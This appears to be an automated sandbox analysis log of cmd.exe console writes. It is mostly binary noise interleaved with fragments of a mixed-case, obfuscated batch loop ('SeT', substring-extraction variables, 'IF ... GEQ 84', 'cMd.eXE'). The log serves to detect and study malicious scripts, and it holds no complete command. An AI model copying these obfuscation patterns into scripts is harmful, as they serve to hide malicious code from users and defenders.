Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......h...........................\.R..@..X.R...S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .1.1.,. . . .1.!. ..@..X.R...S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......t.............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......z...........................t..........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................1.1. .G.E.Q. .8.4. .............................D.......z..................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.....z...........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R...S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................4.9. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R.P.S.\|...\|....."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .6.,. . . .1.!. .R..@..X.R.P.S....g..1.X.1.:....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.:.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................6. .G.E.Q. .8.4. ...............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......$........................... .................................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . ......................... ..................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......0.............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......6.................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......<......................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......B...........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......I...............................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......U...........................\.R..@..X.R...T..........."v..R.`.1.....G..G........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .6.0.,. . . .1.!. ..@..X.R...T....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......a.............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......g...........................a..........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................6.0. .G.E.Q. .8.4. .m...........................D.......g..................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......s...........................4. .m.............................1.....g...........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .m..............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.....................................T...P...T.x.1. aT...P....g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R...T.\|...\|....."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .6.,. . . .1.!. .R..@..X.R...T....g..1.X.1.:....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.:.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................6. .G.E.Q. .8.4. ...............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D................................... .................................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . ......................... ..................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R...T.\|...\|....."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.:.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................6. .G.E.Q. .8.4. ...............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D................................... .................................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . ......................... ..................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......#.................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......)......................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D......./...........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......6...............................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......B...........................\.R..@..X.R...T..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .7.0.,. . . .1.!. ..@..X.R...T....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......N.............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......T...........................N..........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................7.0. .G.E.Q. .8.4. .Z...........................D.......T..................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......`...........................4. .Z.............................1.....T...........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .Z..............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......l.............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......r.................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......x......................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......~...........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R...T..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .3.2.,. . . .1.!. ..@..X.R...T....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................3.2. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R...T..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .7.2.,. . . .1.!. ..@..X.R...T....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................7.2. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D........ ............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E........ ................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D........ .....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........ ..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......# ..............................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D......./ ..........................\.R..@..X.R...T..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......; ............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......A ..........................; .........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................7.2. .G.E.Q. .8.4. .G ..........................D.......A .................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......M ..........................4. .G ............................1.....A ..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .G .............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......Y ............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E......._ ................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......e .....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......k ..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......r ..............................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......~ ..........................\.R..@..X.R...T..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .1.2.,. . . .1.!. ..@..X.R...T....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D........ ............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D........ ........................... .........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................1.2. .G.E.Q. .8.4. .. ..........................D........ .................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D........ ..........................4. .. ............................1...... ..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .. .............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D........ ............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E........ ................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D........ .....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........ ..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........ ..............................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D........ ..........................\.R..@..X.R..1T..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .8.0.,. . . .1.!. ..@..X.R..1T....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D........ ............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D........ ........................... .........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................8.0. .G.E.Q. .8.4. .. ..........................D........ .................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D........ ..........................4. .. ............................1...... ..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .. .............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D........ ............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E........ ................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D........!.....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........!..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........!..............................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D........!..........................\.R..@..X.R..1T..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .6.0.,. . . .1.!. ..@..X.R..1T....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......(!............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D........!..........................(!.........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................6.0. .G.E.Q. .8.4. .4!..........................D........!.................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......:!..........................4. .4!............................1......!..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .4!.............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......F!............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......L!................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......R!.....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......X!..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D......._!..............................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......k!..........................\.R..@..X.R..1T..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .5.7.,. . . .1.!. ..@..X.R..1T....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......w!............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......}!..........................w!.........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................5.7. .G.E.Q. .8.4. ..!..........................D.......}!.................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D........!..........................4. ..!............................1.....}!..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ..!.............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D........!............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E........!................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D........!.....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........!..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........!..............................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D........!..........................\.R..@..X.R.@DT..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .5.4.,. . . .1.!. ..@..X.R.@DT....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D........!............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D........!...........................!.........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................5.4. .G.E.Q. .8.4. ..!..........................D........!.................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D........!..........................4. ..!............................1......!..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ..!.............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D........!............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E........!................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D........!.....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........!..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........!..............................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
